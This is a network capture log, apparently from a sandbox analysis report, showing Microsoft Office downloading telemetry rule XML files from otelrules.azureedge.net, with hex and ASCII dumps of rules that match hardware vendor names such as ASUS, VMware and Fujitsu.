2024-11-22 03:12:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031206Z-174c587ffdf59vqchC1TEByk6800000000wg00000000nvkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:06 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031207Z-178bfbc474bpnd5vhC1NYC4vr400000002bg00000000d1y2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:06 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031207Z-174c587ffdftjz9shC1TEBsh9800000000p000000000gqxb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:06 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f440515e-401e-0029-2e38-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031207Z-178bfbc474bscnbchC1NYCe7eg00000002e000000000p7n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:06 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031207Z-174c587ffdfgcs66hC1TEB69cs00000000p000000000f8fu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:08 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031209Z-15b8b599d885ffrhhC1TEBtuv000000000t000000000pm5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:08 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:10 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031210Z-178bfbc474bh5zbqhC1NYCkdug000000026g00000000q9ed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:10 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:09 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:09 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031209Z-178bfbc474bnwsh4hC1NYC2ubs00000002bg00000000n9uh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:09 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:09 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:09 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 44207c53-001e-0079-37ad-3b12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031209Z-15b8b599d88qw29phC1TEB5zag00000000r000000000kuzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:09 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:09 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031209Z-178bfbc474btrnf9hC1NYCb80g00000002n00000000027yt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:09 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:10 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: ca5e5154-001e-0014-4e4e-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031211Z-15b8b599d88tr2flhC1TEB5gk4000000010g000000005ncr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:11 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7a05741d-701e-0021-0754-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031211Z-15b8b599d88phfhnhC1TEBr51n00000000wg00000000fd1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
